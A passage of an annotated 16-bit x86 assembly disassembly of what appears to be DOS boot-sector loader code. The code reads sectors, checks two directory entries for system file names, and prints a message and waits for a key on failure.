AX,[SI+0D] ;099E 8B440D INC AX ;09A1 40 CMP DL,AL ;09A2 3AD0 JBE ;09AC ;09A4 7606 SUB AL,[0028] ;09A6 2A062800 MOV CL,AL ;09AA 8AC8 MOV AL,CL ;09AC 8AC1 MOV DX,[0026] ;09AE 8B162600 MOV CL,06 ;09B2 B106 SHL DH,CL ;09B4 D2E6 OR DH,[0028] ;09B6 0A362800 MOV CX,DX ;09BA 8BCA XCHG CH,CL ;09BC 86E9 MOV DX,[0020] ;09BE 8B162000 MOV AH,02 ;READ SECTOR PUSH AX ; INT 13 ; POP AX ;09C7 58 JB ;09FC ;09C8 7232 SUB [0029],AL ;09CA 28062900 JBE ;09F5 ;09CE 7625 CBW ;09D0 98 MUL Word Ptr [002D] ;09D1 F7262D00 ADD BX,AX ;09D5 03D8 INC Byte Ptr [0021] ;09D7 FE062100 MOV DL,[0021] ;09DB 8A162100 CMP DL,[SI+0F] ;09DF 3A540F MOV DL,01 ;09E2 B201 MOV [0028],DL ;09E4 88162800 JB ;0998 ;09E8 72AE MOV Byte Ptr [0021],00 ;09EA C606210000 INC Word Ptr [0026] ;09EF FF062600 JMP ;0998 ;09F3 EBA3 POP BX ;09F5 5B RET ;09F6 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV SI,01B3 ;09F7 BEB301 JMP ;09FF ;09FA EB03 MOV SI,01C5 ;09FC BEC501 CALL L0A15 ;09FF E81300 MOV SI,01D4 ;0A02 BED401 CALL L0A15 ;0A05 E80D00 MOV AH,00 ;0A08 B400 INT 16 ;0A0A CD16 MOV AH,01 ;0A0C B401 INT 16 ;0A0E CD16 JNZ 0A0C ;0A10 75FA JMP ;08F8 ;0A12 E9E3FE ; L0A15: LODSB ;L0A15 OR AL,AL ;0A16 0AC0 JZ 0A23 ;0A18 7409 MOV AH,0E ;0A1A B40E MOV BX,0007 ;0A1C BB0700 INT 10 ;0A1F CD10 JMP L0A15 ;0A21 EBF2 RET ;0A23 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV CL,01 ;0A24 B101 CALL ;0971 ;0A26 E848FF PUSH SI ;0A29 56 MOV DI,BX ;0A2A 8BFB MOV AX,ES:[BX+1C] ;0A2C 268B471C XOR DX,DX ;0A30 33D2 DIV Word Ptr [SI] ;0A32 F734 INC AL ;0A34 FEC0 MOV [002A],AL ;0A36 A22A00 MOV SI,019D ;0A39 BE9D01 MOV CX,000B ;0A3C B90B00 REPZ ;0A3F F3 CMPSB ;0A40 A6 JNZ ;09F7 ;0A41 75B4 MOV AX,ES:[BX+3A] ;0A43 268B473A MOV [0022],AX ;0A47 A32200 MOV DI,BX ;0A4A 8BFB ADD DI,+20 ;0A4C 83C720 MOV SI,01A8 ;0A4F BEA801 MOV CX,000B ;0A52 B90B00 REPZ ;0A55 F3 CMPSB ;0A56 A6 JNZ ;09F7 ;0A57 759E POP SI ;0A59 5E RET ;0A5A C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CODE ENDS ; END ;